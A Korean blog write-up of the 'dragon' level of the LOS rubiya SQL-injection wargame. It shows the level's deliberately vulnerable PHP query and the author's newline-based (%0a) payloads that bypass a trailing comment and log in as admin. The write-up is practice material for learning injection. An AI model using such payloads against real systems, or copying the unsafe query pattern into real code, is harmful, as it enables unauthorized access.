<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
입력은 pw로만 주고있는데, 주석이 앞에 있다. 개행해서 입력해주면 되겠다.
%0a 이용하자.
?pw=1' %0a or id='admin'%23 이렇게 하면 guest로 로그인 된다.
?pw='%0a and id='admin' or id='admin'%23
앞부분을 false로 만들어주고 하면 된다.
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS-rubiya : dark_eyes (0) | 2020.08.26 |
---|---|
LOS-rubiya : iron_golem (0) | 2020.08.26 |
LOS-rubiya : xavis (0) | 2020.08.26 |
LOS-rubiya : nightmare (0) | 2020.08.03 |
LOS-rubiya : Zombie_assassin (0) | 2020.08.03 |